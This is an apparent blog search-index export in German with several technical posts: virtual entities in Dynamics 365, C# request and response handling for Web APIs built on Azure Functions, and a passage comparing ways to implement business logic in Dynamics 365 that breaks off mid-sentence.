zeigen, was virtuelle Entitäten sind und wie man diese einsetzt. Um das Ganze etwas griffiger zu gestalten, haben wir uns dafür einen besonderen Use Case ausgedacht, den wir euch im ersten Teil der Serie vorstellen werden. Im zweiten Teil zeigen wir euch dann, wie wir diesen technisch umgesetzt haben.\nHintergrund Bei einem aktuellen Kundenprojekt standen wir im Team vor der Herausforderung, eine Entität mit einer großen Anzahl von Datensätzen – im Millionenbereich – innerhalb von Dataverse abzubilden. Technisch ist das auch ohne große Probleme möglich, zumindest gibt es hierzu keine „harte“ Limitierung seitens Microsofts. Allerdings ist davon abzuraten, derartige Datenmengen von Dynamics 365 verwalten zu lassen. Diese Empfehlung hat gleich mehrere Hintergründe. Zum einen wird viel Cloud-Speicher benötigt, der im Dynamics 365-Umfeld generell sehr kostspielig sein kann. Für den Fall, dass die Daten nicht in Dynamics 365, sondern wie im kommenden Beispiel etwa über einen Webshop erzeugt werden, ist zudem eine Synchronisation der Daten notwendig. Diese wird über die Rest-API von Dataverse bewerkstelligt, welche wiederum in der Nutzung limitiert ist und zusätzliche Kosten verursachen kann.\nHier kommen virtuelle Entitäten ins Spiel.\nDiese ermöglichen die Integration externer Daten, ohne diese Richtung Dataverse synchronisieren zu müssen. Virtuelle Entitäten werden dabei zur Laufzeit geladen und nicht physikalisch als Tabellen in Dataverse gespeichert. Daher verbrauchen diese keinen Speicherplatz und verursachen diesbezüglich auch keine weiteren Kosten. Die Anbindung erfolgt über vorgefertigte Datenprovider. Im Vergleich zur Rest-API unterliegen diese keinen Limitierungen, müssen aber für die Anzeige und Verwendung der virtuellen Entitäten stets verfügbar sein. Somit bieten sich virtuelle Entitäten immer dann an, wenn große Datenmengen aus externen Datenquellen in Dataverse integriert werden sollen.\nUse-Case Um euch das Konzept virtueller Entitäten näher zu bringen, haben wir uns folgenden fiktiven Use Case ausgedacht.\nDer Webshop eines großen Ticket-Anbieters für Events wie Konzerte oder Festivals speichert Kunden- und Ticketdatensätze in einem SQL-Server in Azure ab. Für die Bearbeitung von Support-Fällen bei Problemen oder Fragen zu gekauften Tickets wurde ein externer Dienstleister engagiert, der hierfür Dynamics 365 for Customer Service nutzt. Um den Kunden-Support bei Problemen mit gekauften Tickets gewährleisten zu können, werden Informationen aus den Kunden- und Ticketdatensätzen für die Zuordnung der Support-Cases benötigt. Dabei handelt es sich um eine sehr große Anzahl an Datensätzen, die in Dataverse integriert werden müssen.\nShowcase mit Bilderstrecke Der Einstieg des Kundendienstes bei einem Telefonanruf kann an verschiedenen Stellen im Support-Portal erfolgen. Der erste mögliche Weg beginnt mit der Suche des Anrufers unter den Kontakten.\nUm zum Ticket des Kunden zu gelangen navigiert der Support-Mitarbeiter anschließend vom Kontakt-Formular zu den verknüpften Entitäten. Hierbei wählt er die (virtuelle) Entität Ticket aus. Dieser Link führt bei Auswahl zur Listenansicht aller Tickets des Anrufers, die aus der externen Datenquelle stammen.\nDie Listenansicht ermöglicht die Anzeige und Sortierung von allen gekauften Tickets des Anrufers. Der Benutzer kann zudem nach einem spezifischen Ticket suchen.\nDer Support ist somit in der Lage, die Liste nach dem betroffenen Ticket des Anrufers zu durchsuchen und schließlich zu diesem zu navigieren.\nIn diesem Fall öffnet sich das schreibgeschützte Formular zur Anzeige der Ticketdaten. Die Felder des Formulars sind nicht editierbar, da die Daten extern gespeichert sind. Es dient dem Support-Mitarbeiters als reine Informationsquelle. Sämtliche Informationen zum Ticket inklusive des Preises und einiger Daten zum Event stehen hier zur Verfügung.\nEin alternativer Weg zum Finden eines Tickets startet in der Listenansicht aller Tickets. Für den Use Case wurden hierfür etwa 3,5 Millionen Tickets generiert, um auch eine realistische Datenmenge bereit zu halten. Die Suche des Tickets kann über alle sichtbaren Felder des Tickets erfolgen.\nAuf diesem Wege ist es ebenfalls möglich, das betroffene Ticket des Anrufers zu finden und zu diesem zu navigieren.\nEin dritter Weg führt über das Event als Einstiegspunkt. Dieses besitzt ebenso wie der Kontakt eine Verknüpfung zur (virtuellen) Entität Ticket.\nInnerhalb des Event-Formulars hat der Support-Mitarbeiter dann über ein Unterraster die Möglichkeit, nach dem betroffenen Ticket zu suchen.\nSchlusswort Falls der lesende Zugriff auf die virtuellen Entitäten nicht ausreichen sollte, können frei gestaltbare Canvas-Apps zur Bearbeitung der benötigten Daten Abhilfe schaffen. Solche Apps können direkt in das Formular einer virtuellen Entität integriert werden. Das ermöglicht das Bearbeiten der vormals schreibgeschützten Formulardaten.\nGanz aktuell wurde Ende März 2021 ein Update von Microsoft ausgerollt, welches das Erstellen, Bearbeiten und Löschen virtueller Entitäten nun ganz offiziell über einen eigenen Datenprovider unterstützt. Das werden wir natürlich umgehend für euch ausprobieren und dann in einem dritten Teil dieser Blog-Serie davon berichten.\nZunächst führen wir euch im zweiten Teil jedoch erst einmal hinter die Kulissen und zeigen euch, wie sich das Ganze technisch realisieren lässt und welche Schritte dazu notwendig sind.\n","date":"14. April 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/virtuelle-entit%C3%A4ten-in-d365-1_hu12bfdc9180450f226418f17d9119b522_21135_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/virtuelle-entit%C3%A4ten-in-d365-1_hu12bfdc9180450f226418f17d9119b522_21135_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/virtuelle-entit%C3%A4ten-in-dynamics365-teil-1/","tags":["dynamics-365"],"title":"Virtuelle Entitäten in Dynamics365 - Teil 1"},{"categories":["How to","Serien"],"contents":"In meiner Serie zum Erstellen von Web APIs mit Azure Functions stelle ich neben einigen Pattern auch Codebeispiele vor. In Summe sollen diese Beiträge als Handlungsanweisung dienen, um effizient Web APIs mit Azure Functions zu erstellen.\nHier nochmal eine Übersicht der bisher veröffentlichten Beiträge:\nWeb APIs mit Azure Functions: Projektstruktur (Teil 1) Web APIs mit Azure Functions: Requesthandling (Teil 2) Überblick Nachdem ich im zweiten Teil eine Erweiterung zum Requesthandling vorgestellt habe, möchte ich in diesem Beitrag auf das Response-Handling eingehen. Hierzu möchte ich die bestehende Extension aus dem letzten Beitrag nutzen und eine generische Lösung bereitstellen, wie Antworten einer Web API mit Azure Functions einfach erstellt werden können.\nResponse Handling in Azure Functions Wenn eine Function einen Response sendet, beinhaltet die Antwort i.d.R. folgende Komponenten:\nHeader-Parameter Contenttype (spezieller Header) Http-Statuscode Content Das bedeutet abhängig von der vorgenommenen Aktion (GET, PUT, DELETE usw.) erhält der Aufrufer neben dem Inhalt auch einen entsprechenden Http-Statuscode, der dem Aufrufer über den Erfolg, oder Misserfolg des Aufrufs mitteilt.\nFluent Builder Pattern Für die Erzeugung von neuen Objekten verwenden Entwickler für gewöhnlich (Klassen-) Konstruktoren, sodass Parameter korrekt zugewiesen werden.\nFür unser Szenario der Erstellung eines Response-Objekts ist eine mögliche Implementierung der HttpResponse-Klasse im Folgenden dargestellt:\npublic class HttpResponse { public int StatusCode; public string ContentType; public string Content; public IDictionary\u0026lt;string string\u0026gt; Headers; public HttpResponse(int? statusCode, string contentType, string content, IDictionary\u0026lt;string string\u0026gt; headers) { this.StatusCode = StatusCode; this.ContentType = ContentType; this.Content = Content; this.Headers = Headers; } } Bei diesem Beispiel wird sofort klar, eine Erzeugung eines HttpResponse-Ojbekt ist mit einem größeren Aufwand verbunden, da zum einen sämtliche Informationen zum Zeitpunkt der Erzeugung des Response-Objekts vorliegen müssen und zum anderen die Leserbarkeit beim Aufruf leidet.\nBeispielhafter Aufruf:\nvar response = new HttpResponse(200, \u0026#34;application/json\u0026#34;, \u0026#34;\u0026#34;, headers); In C# kann durch die Verwendung von statischen Extension-Methoden (ähnlich zu den Request-Handling-Methoden aus dem letzten Beitrag) das Fluent Builder Pattern angewandt werden.\nDas Fluent Builder Pattern hilft dabei die Logik zur Erstellung eines Objekts in einen Builder zu extrahieren. Hierbei ist der Builder für die Instanziierung der Klasse zuständig. Dadurch wird die Lesbarkeit und Einfachheit des erstellen Codes erhöht. Ein weiterer Vorteil wäre, dass der Aufrufer der Builder-Methoden lediglich die konkreten Werte übergibt.\nDer obige Aufruf würde unter der Verwendung des Fluent Builder Pattern exemplarisch so aussehen:\nvar response = new HttpResponse(); response.AddStatusCode(200) .AddContentType(\u0026#34;application/json\u0026#34;) .AddCotent(objectJsonStream) .AddHeader(\u0026#34;HeaderKey1\u0026#34;, \u0026#34;HeaderValue1\u0026#34;) .AddHeader(\u0026#34;HeaderKey2\u0026#34;, \u0026#34;HeaderValue2\u0026#34;) .Build(); Erweiterung Extension Die bestehende Extension soll für das Response-Handling verwendet und erweitert werden. Hierzu wird die Implementierung in zwei Teile unterteilt:\nBuilder: in einem neuen Typ (HttpResponse) werden die benötigten Informationen gehalten. Dieser Typ wird durch die Verwendung von Builder-Methoden in einer separaten Builder-Klasse erzeugt. Response Handling: die bestehende Extension zum Konvertieren von Requests wird um weitere Funktionalität erweitert. Hierzu gehören Methoden, welche das Builder-Objekt befüllen und hierüber das Zielobjekt HttpResponse erzeut. Diese Klasse soll auch das Senden von einem erfolgreichen wie auch fehlerhaften (Exception) Response ermöglichen. Builder Das Basis-Objekt für die Builder-Klasse stellt den Response dar. Im Microsoft.AspNetCore.Mvc-Namespace bietet C# (u.a. mit .Net Core 3.1) die Klasse ContentResult zur Verfügung. Diese erbt wiederum von der Klasse ActionResult und bietet bereits drei Properties, welche im HttpResponse verwendet werden sollen. Darüber hinaus kann hierdurch später einfach ein ActionResult aus der Azure Function zurückgegeben werden, was die Rückgabe generisch macht.\nContentResult stellt diese drei Eigenschaften bereit:\nContent (string) ContentType (string) StatusCode (int) Somit fehlt nur noch ein Dictionary aus Strings (IDictionary\u0026lt;string, string\u0026gt;) zur Repräsentation des Headers. Aus diesem Grund bietet es sich an, eine eigene Klasse zu erstellen, welche von ContentResult erbt und um die Header-Property erweitert wird.\nusing System; using System.Collections.Generic; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; namespace Functions.Extension.ResponseHandler { public class HttpResponse : ContentResult { public HttpResponse(int? statusCode, string contentType, string content, IDictionary\u0026lt;string, string\u0026gt; headers) { this.StatusCode = statusCode; this.ContentType = contentType; this.Content = content; this.Headers = headers; } public IDictionary\u0026lt;string, string\u0026gt; Headers { get; } = new Dictionary\u0026lt;string, string\u0026gt;(); public override Task ExecuteResultAsync(ActionContext actionContext) { if (actionContext == null) { throw new ArgumentNullException(nameof(actionContext)); } foreach (var keyValuePair in this.Headers) { actionContext.HttpContext.Response.Headers.Add(keyValuePair.Key, keyValuePair.Value); } return base.ExecuteResultAsync(actionContext); } } } Die Builder-Klasse besteht aus den Properties, welche später zur Erzeugung des HttpResponse-Objekts verwendet werden sollen. Daneben existiert noch eine Methode zur Ergänzung von Header-Einträgen und der Build-Methode, welche ein neues HttpResponse-Objekt erzeugt.\nusing System.Collections.Generic; namespace Functions.Extension.ResponseHandler { public class HttpResponseBuilder { public int? StatusCode { get; set; } public string ContentType { get; set; } public string Content { get; set; } public IDictionary\u0026lt;string, string\u0026gt; Headers { get; set; } = new Dictionary\u0026lt;string, string\u0026gt;(); public HttpResponse Build() { var contentResult = new HttpResponse(StatusCode, ContentType, Content, Headers); return contentResult; } public HttpResponseBuilder AddHeaderEntry(string headerKey, string headerValue) { if (!Headers.ContainsKey(headerKey)) { Headers.Add(headerKey, headerValue); } else { Headers[headerKey] = headerValue; } return this; } } } Responsehandler Die bestehende Klasse HttpHandler wird um weitere Methoden erweitert werden. Diese sollen zum einen Funktionen bereitstellen, um das Builder-Objekt zu bestücken und zum anderen standardisierte Methoden zur Erstellung von Responses bereitstellen.\nUm dem Nutzer Aufwand bei der Entwicklung zu ersparen, werden typische Einstellungen wie der Statuscode 200 und der Contenttype „application/json“ als Standardwerte gesetzt. Somit muss der Aufrufer diese nicht jedes Mal erneut setzen, kann diese Werte aber zum Zeitpunkt des Aufrufes natürlich übergeben und dadurch die Werte entsprechend ändern.\nusing System; using System.Net; using System.Text.Json; using System.Threading.Tasks; using Functions.Extension.ResponseHandler; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; namespace Functions.Extension.Handler { public static partial class HttpHandler { private static readonly string DefaultContentTypeApplicationJson = \u0026#34;application/json\u0026#34;; #region Response public static Task\u0026lt;IActionResult\u0026gt; Send\u0026lt;TResult\u0026gt;(this HttpResponseBuilder builder, TResult result) { var response = builder.Build(); response.StatusCode = response.StatusCode ?? (int)HttpStatusCode.OK; response.ContentType = !string.IsNullOrEmpty(response.ContentType) ? response.ContentType : DefaultContentTypeApplicationJson; if (response.ContentType == DefaultContentTypeApplicationJson) { if (result != null) { response.Content = JsonSerializer.Serialize(result, JsonOptions); } } else { response.Content = result.ToString(); } return Task.FromResult((IActionResult)response); } public static Task\u0026lt;IActionResult\u0026gt; SendFromException(this HttpResponseBuilder builder, Exception ex) { var response = builder.Build(); response.Content = JsonSerializer.Serialize(new { StatusCode = (int)HttpStatusCode.InternalServerError, Message = ex.Message }, JsonOptions); response.StatusCode = response.StatusCode ?? (int)HttpStatusCode.InternalServerError; response.ContentType = DefaultContentTypeApplicationJson; return Task.FromResult((IActionResult)response); } #endregion #region Builder public static HttpResponseBuilder CreateHttpResponse(this HttpRequest req) { var responseBuilder = new HttpResponseBuilder(); return responseBuilder; } public static HttpResponseBuilder AddHeaderEntry(this HttpResponseBuilder builder, string headerKey, string headerValue) { builder.AddHeaderEntry(headerKey, headerValue); return builder; } public static HttpResponseBuilder SetStatusCode(this HttpResponseBuilder builder, HttpStatusCode httpStatusCode) { builder.StatusCode = (int)httpStatusCode; return builder; } public static HttpResponseBuilder SetContentType(this HttpResponseBuilder builder, string contentType) { builder.ContentType = contentType; return builder; } #endregion } } Da die eigene Klasse HttpResponse von ContentResult abgeleitet wurde, entspricht der zurückgegebene Datentyp einem ActionResult. Dies entspricht dem Standardmäßigen Rückgabetyp von Azure Functions und muss somit nicht erneut gecastet werden, wenn ein Response über die Extension erzeugt wird.\nBeispielhafte Implementierung Im bestehenden GitHub-Repo aus dem letzten Beitrag wurde die Implementierung um das Response-Handling erweitert. Darin sind auch die bestehenden API-Endpunkte entsprechend erweitert worden.\nEin Beispielhafter Aufruf ist hier dargestellt:\nusing System; using System.Threading.Tasks; using Application.Todo; using Functions.Extension.Handler; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using Microsoft.Azure.WebJobs; using Microsoft.Azure.WebJobs.Extensions.Http; using Microsoft.Extensions.Logging; namespace Application.Functions.Todo { public static class StoreTodoItemCommandFunction { [FunctionName(\u0026#34;StoreTodoItemCommandFunction\u0026#34;)] public static async Task\u0026lt;IActionResult\u0026gt; Run([HttpTrigger(AuthorizationLevel.Function, \u0026#34;post\u0026#34;, Route = \u0026#34;Todo\u0026#34;)] HttpRequest req, ILogger log) { Task\u0026lt;IActionResult\u0026gt; result = null; try { var command = await req.ConvertRequestToCommand\u0026lt;StoreTodoItemCommand\u0026gt;(); // Access Database and Delete // todo result = req.CreateHttpResponse() .AddHeaderEntry(\u0026#34;MyHeader\u0026#34;, \u0026#34;MyKey\u0026#34;) .Send(command); } catch (Exception ex) { result = req.CreateHttpResponse() .SendFromException(ex); } return await result; } } } Die Azure Functions können nun immer nach demselben Schema aufgebaut werden. Somit ist neben dem Request-Handling auch das Response- und Exception Handling abgebildet. Außerdem sieht man beim Response sofort, dass der entsprechende Statuscode gesetzt wurde, ohne dass dieser beim Aufruf explizit angegeben werden musste (siehe auch Screenshot von Postman).\nZusammenfassung Die Nutzung der Extension hat nun einen Reifegrad erreicht, um bereits einfach und in einem größeren Umfeld Web APIs mit Azure Functions zu erstellen. Die Verwendung steigert die Effizienz der jeweiligen Implementierung ungemein und kann einfach verwendet werden.\nBevor APIs von außen verwendet werden können, benötigt der Aufrufer neben der URL des Endpunkts auch weitere Informationen (Query-Parameter, Http-Verb, usw.) für den Aufruf. Mit Swagger/ Open API besteht die Möglichkeit eine API-Definition für Aufrufer bereitzustellen. Unsere aktuelle Implementierung bietet diese Funktion aktuell noch nicht an. Die Verwendung von Swagger und der notwendigen Einstellungen werden im nächsten Blogbeitrag vorgestellt.\n","date":"7. April 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/web-apis-mit-azure-functions-responsehandling-teil-3_hudc06ae0411762ecca54b68e4f1b74dec_34432_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/web-apis-mit-azure-functions-responsehandling-teil-3_hudc06ae0411762ecca54b68e4f1b74dec_34432_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/web-apis-mit-azure-functions-responsehandling-teil-3/","tags":["azure","backend","low-code"],"title":"Web APIs mit Azure Functions: Responsehandling (Teil 3)"},{"categories":["How to","Serien"],"contents":"In meinem ersten Beitrag zum Erstellen von Web APIs mit Azure Functions habe ich nützliche Pattern für die Projektstruktur und die Orchestrierung der Requests vorgestellt. Falls du diesen Beitrag noch nicht gelesen hast, dann kannst du ihn hier finden: Web APIs mit Azure Functions: Projektstruktur (Teil 1) .\nÜberblick Im zweiten Teil dieser Serie greife ich den Umstand auf, dass die Requests an die Azure Function manuell in Command-/Query-Objekte umgewandelt werden müssen. Das erhöht nicht nur den Aufwand je Web API, sondern hat auch redundanten Code zur Folge. Aus diesem Grund möchte ich in diesem Beitrag Implementierung für eine Extension vorstellen, die eine generische Lösung zur Konvertierung von Requests bereitstellt.\nRequest-Handling in Azure Functions Vor der Implementierung möchte ich noch einmal auf den grundsätzlichen Aufbau eines Requests eingehen.\nDie für eine Web API relevanten Komponenten sind:\nHeader-Parameter Query-Parameter Path-Parameter Content/ Body Natürlich sind nicht immer alle Komponenten bei jedem HTTP-Verb vertreten. So sendet ein GET-Aufruf für gewöhnlich keinen Content/Body an die Web API. Auch ist der Path-Parameter nur bei bestimmten HTTP-Verbs vertreten, beispielsweise bei der Suche (GET) mittels Identifikators (ID) oder bei der Aktualisierung (PUT) einer Entität.\nSeit Version 2.X der Azure Function Runtime, werden HTTP-Requests standardmäßig als HttpRequest-Objekt angegeben. Darin sind die Header- und Query-Parameter, sowie der Content/Body des Requests enthalten.\nExtension-Methods C# bietet die Möglichkeit bestehenden Klassen (Typen) Methoden hinzuzufügen, ohne eine neue abgeleitete Klasse zu erstellen. Hierzu werden statische Methoden entwickelt, welche wie Instanzmethoden für die erweiterte Klasse aufgerufen werden kann. Diese Art der Erweiterung nennt man Extension-Methods (Erweiterungsmethoden).\nDiese Funktionalität möchte ich nutzen, um die Request-Konvertierung möglichst einfach zu Handhaben. Die Konvertierung soll also direkt durch einen Aufruf vom HttpRequest-Objekt heraus durchgeführt werden.\nDer Aufruf sollte dann schematisch so stattfinden:\nvar command = request.ConvertToCommand\u0026lt;customentitycommand\u0026gt;();\u0026lt;/customentitycommand\u0026gt; Aufbau Extension Da das Command-/Query-Objekt sämtliche Informationen enthält, werden sowohl die Felder des Requests Bodies sowie Header-, Query- und Path-Parameter darin verwaltet.\nDie Extension wird demnach nach folgendem Schema aufgebaut:\nContent/Body (Deserialisierung des Inhalts in ein Command-/Query-Objekt) Header-/Query-Parameter (Extraktion und Zuordnung der jeweiligen Header- und Query-Parameter) Path-Parameter (Zuordnung der Path-Parameter zum jeweiligen Command-/Query-Objekt) Die Extension soll natürlich so flexibel sein, dass ein Request grundsätzlich in jedes Command-/Query-Objekt konvertiert werden kann. Hierbei wird Generics in C# eine große Rolle spielen, worauf ich später in der entsprechenden Implementierung der Extension eingehen möchte.\nContent-/Body-Deserialisierung In RESTful APIs sind Objekte oft als JSON serialisiert. Dieses JSON kann mithilfe von Konvertern (z.B. Newtonsoft oder System.Text.Json) in das jeweilige Objekt serialisiert werden. Für die Verwendung des JSON-Konverters wird Microsofts JSON-Paket System.Text.Json verwendet.\nBeim Aufruf der Deserialize-Methode, wird der Typ angegeben. Dabei wird ein im JSON-Format bereitgestellter String als Parameter übergeben. Der Aufruf sieht wie folgt aus:\nvar command = JsonSerializer.Deserialize\u0026lt;mycommandclass\u0026gt;(jsonBody);\u0026lt;/mycommandclass\u0026gt; Parameternamen, welche sich zwischen dem JSON und dem Command-/Query-Objekt unterscheiden, können durch das Attribut JsonPropertyNamen in der jeweiligen Command-/Query-Klasse spezifiziert werden.\nHeader-/Query-/Path-Parameter Zuordnung Angegebene Parameter (Header, Query, Path) werden entweder im Request (Header, Query) oder über den Pfad (Path) angegeben. Um eine Zuordnung zum jeweiligen Feld der Command-/Query-Klasse herstellen zu können, werden eigene Attribute benötigt. Hierzu werden die entsprechenden Felder mit den eigenen Attributen versehen werden.\nEine Verwendung der Attribute sollte wie folgt aussehen:\n[RequestHeader(\u0026#34;x-myheader\u0026#34;)] public string MyHeader { get; set; } [RequestQuery(\u0026#34;x-myquery\u0026#34;)] public string MyQuery { get; set; } [RequestPathParam(\u0026#34;id\u0026#34;)] public Guid Id { get; set; } Implementierung ConvertRequest-Extension Die Konvertierung unterteilt sich im Wesentlichen in zwei Methoden:\nConvertRequestToCommand AddPathParamToCommand Wobei erstere Methode sich um die Konvertierung des Bodies und um die Zuordnung der Header-/Query-Parameter kümmert.\nDie zweite Methode bildet die Zuordnung der Path-Parameter zum Command-/Query-Objekt ab.\nBeide Methoden werden als static deklariert und als Extension-Methoden implementiert. Dabei bildet die Methode ConvertRequestToCommand eine Extension für HttpRequest. Die Methode AddPathParamToCommand soll eine Extension für TCommand sein.\nIm folgenden listing ist die Implementierung der beiden Konvertierungs-Methoden ConvertRequestToCommand und AddPathParamToCommand dargestellt.\nusing System; using System.IO; using System.Linq; using System.Text.Json; using System.Threading.Tasks; using Functions.Extension.Attributes; using Microsoft.AspNetCore.Http; namespace Functions.Extension.Handler { public static partial class HttpHandler { public static async Task\u0026lt;TCommand\u0026gt; ConvertRequestToCommand\u0026lt;TCommand\u0026gt;(this HttpRequest req, JsonSerializerOptions jsonSerializerOptions = null) { if (jsonSerializerOptions == null) { jsonSerializerOptions = JsonOptions; } var body = await new StreamReader(req.Body).ReadToEndAsync(); if (string.IsNullOrEmpty(body)) { body = \u0026#34;{}\u0026#34;; } var command = JsonSerializer.Deserialize\u0026lt;TCommand\u0026gt;(body, jsonSerializerOptions); if (command != null) { var properties = command.GetType().GetProperties(); foreach (var property in properties) { var attributes = property.GetCustomAttributes(false); var propertyType = property.PropertyType; // Assign Headers if they exist in Request var headerMapping = attributes.FirstOrDefault(a =\u0026gt; a.GetType() == typeof(RequestHeader)); if (headerMapping != null) { var requestHeaderName = headerMapping as RequestHeader; var hasHeaderKey = req.Headers.TryGetValue( requestHeaderName?.GetName(), out var requestHeaderValues); if (hasHeaderKey) { var headerValue = requestHeaderValues.FirstOrDefault(); var castedHeaderValue = Convert.ChangeType(headerValue, propertyType); command.GetType().GetProperty(property.Name)?.SetValue(command, castedHeaderValue); continue; } } // Assign Query-Parameter if they exist in Request var queryMapping = attributes.FirstOrDefault(a =\u0026gt; a.GetType() == typeof(RequestQuery)); if (queryMapping != null) { var requestQueryName = queryMapping as RequestQuery; var hasQueryKey = req.Query.TryGetValue( requestQueryName?.GetName(), out var requestQueryValues); if (hasQueryKey) { var queryValue = requestQueryValues.FirstOrDefault(); var castedQueryValue = Convert.ChangeType(queryValue, propertyType); command.GetType().GetProperty(property.Name)?.SetValue(command, castedQueryValue); } } } } return command; } public static TCommand AddPathParamToCommand\u0026lt;TCommand, TPathParam\u0026gt;(this TCommand command, string pathParamName, TPathParam pathParamValue) { var properties = command.GetType().GetProperties(); foreach (var property in properties) { var attributes = property.GetCustomAttributes(false); var pathMapping = attributes.FirstOrDefault(a =\u0026gt; a.GetType() == typeof(RequestPathParam)); if (pathMapping != null) { var pathRequestName = pathMapping as RequestPathParam; if (string.Equals(pathParamName, pathRequestName?.GetName())) { command.GetType().GetProperty(property.Name)?.SetValue(command, pathParamValue); } } } return command; } } } Konvertierung Content/Header/Query Zu Beginn wird der Request-Body mithilfe der Json-Deserialize-Methode in einen generischen Typparameter TCommand konvertiert.\nDanach wird die PropertyInfo (Auflistung aller Properties) von TCommand erzeugt, um in einer foreach-Schleife zu prüfen, ob ein RequestHeader oder RequestQuery-Attribut gesetzt ist und die entsprechenden Namen der Header-/Query-Parameter und die des TCommands übereinstimmen.\nFalls nun ein Header-/Query-Attribut gesetzt und der entsprechende Name in den Header-/Query-Parameter vorhanden ist, wird der Wert aus dem HTTP-Request der Property der des Command-/Query-Objekts zugewiesen.\nKonvertierung Path-Parameter Die Methode AddPathParamToCommand wird vom konvertierten Command-/Query-Objekt heraus aufgerufen. Dabei soll der Parameter der Command-/Query-Property zugeordnet werden.\nDas Vorgehen ähnelt der Zuordnung der Header- und Query-Parameter. Da mehrere Path-Parameter vorhanden sein könnten, wurde diese Logik in eine separate Methode ausgelagert.\nIn der beispielhaften Implementierung wird ersichtlich, wie die Methode AddPathParamToCommand mehrfach auf ein Command-/Query-Objekt ausgeführt werden kann, um die entsprechenden Path-Parameter aus dem Request dem Command-/Query-Objekt zuzuweisen.\nBeispielhafte Implementierung Im GitHub-Repo sind die Implementierung des Request-Handlings, als auch eine beispielhafte Implementierung für API-Endpunkte, welche die Konvertierung der Requests bereits verwendet. Dabei werden auch die eingeführten Attribute für Header, Query und Path verwendet.\nZusammenfassung Die bereitgestellte Implementierung bietet nun eine einfache Handhabung zur Konvertierung von HTTP-Requests in die jeweiligen Command- und Query-Objekte. Die Lösung verfolgt einen generischen Ansatz und konvertiert in den gewünschten Zieltyp.\nNachdem wir nun eine gute Lösung für das Request-Handling implementiert haben, benötigen wir natürlich auch ein einheitliches Response-Handling. Dieses fehlt aktuell noch und wird im nächsten Teil dieser Serie betrachtet und eine Implementierung hierfür vorgestellt.\n","date":"24. März 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/web-apis-mit-azure-functions-projektstruktur-teil-2_hu88f34b8dd57f35d9361dda7d145b69f1_25152_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/web-apis-mit-azure-functions-projektstruktur-teil-2_hu88f34b8dd57f35d9361dda7d145b69f1_25152_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/web-apis-mit-azure-functions-requesthandling-teil-2/","tags":["azure","backend","low-code"],"title":"Web APIs mit Azure Functions: Requesthandling (Teil 2)"},{"categories":["Insights"],"contents":"Für die Erbringung einer eigenen Geschäftslogik in Dynamics 365 existieren eine Vielzahl verschiedener Möglichkeiten und Technologien. Ubiquitär sind hier unter anderem Plugins, Geschäftsregeln oder JavaScript. Aber auch Azure und die Power Plattform bieten Werkzeuge zur Erweiterung und Integration an. Dazu zählen etwa die mittlerweile fest integrierten Power Automate Flows, Logic Apps oder auch Azure Functions.\nIch wurde daher schon des Öfteren mit der Frage konfrontiert, wann denn nun genau die Indikation für eine bestimmte Technologie gegeben ist – etwa für die Anfertigung eines Plugins gegenüber eines Power-Automate-Flows. Und wann wird überhaupt JavaScript verwendet oder ist das eigentlich immer schlecht?\nIn diesem Artikel möchte ich euch zu den verschiedenen Möglichkeiten zur Umsetzung von Geschäftslogik in Dynamics 365 einen Überblick geben und dazu eine allgemeingültige Entscheidungsmatrix vorstellen. Diese soll euch bei der Wahl der richtigen Technologie für euren nächsten Anwendungsfall unterstützen.\nTL;DR Server-seitig ist besser als Client-seitig – aber JavaScript ist nicht immer schlecht.\nLow-Code ist besser als viel Code – aber kritische Prozesse erfordern manchmal komplexe Umsetzungen.\nLex specialis derogat legi generali – Das speziellere Gesetz verdrängt das allgemeine.\n| Server- vs. Client-seitige Logik Grundsätzlich sollte zunächst immer eine Differenzierung bezüglich der Ausführungsumgebung der Geschäftslogik erfolgen. Das bedeutet konkret, ob der Code auf der Cloud-Plattform (Server-seitig) oder beim Endanwender im Browser (Client-seitig) ausgeführt werden soll.\nKritische Geschäftslogik – also solche, die unternehmensrelevante oder für die Konsistenz des Systems wichtige Prozesse umsetzt – sollte immer Server-seitig implementiert werden. Denn nur dort kann eine sichere, stabile und deterministische Ausführung garantiert werden. Der Code liegt dem Endanwender unzugänglich und manipulationssicher in kompilierter Form vor. Zu Server-seitiger Logik zählen zum Beispiel Plugins oder Geschäftsregeln.\nUnkritische Geschäftslogik im Gegenzug kann bei Bedarf Client-seitig erbracht werden. Das prominente Beispiel hierzu ist die Interpretation von JavaScript im Browser des Endanwenders, etwa für die Anpassung von Formularen oder dem Ribbon-Menü. Wird hier ein nicht-unterstützter Browser verwendet oder der Code manipuliert, so dass etwas schiefläuft, hat dies in der Regel keine weiteren schlimmen Auswirkungen auf den internen Zustand des Systems. Eine Aktualisierung der Seite oder das Löschen des Browser-Caches behebt dann fast immer potenziell entstandene Probleme.\nProgrammierung vs. Low-Code Unter Low-Code-Lösungen können Softwareanwendungen verstanden werden, die nach dem Baukasten-Prinzip aus vorgefertigten Komponenten visuell erstellt werden können. In diese Kategorie fallen 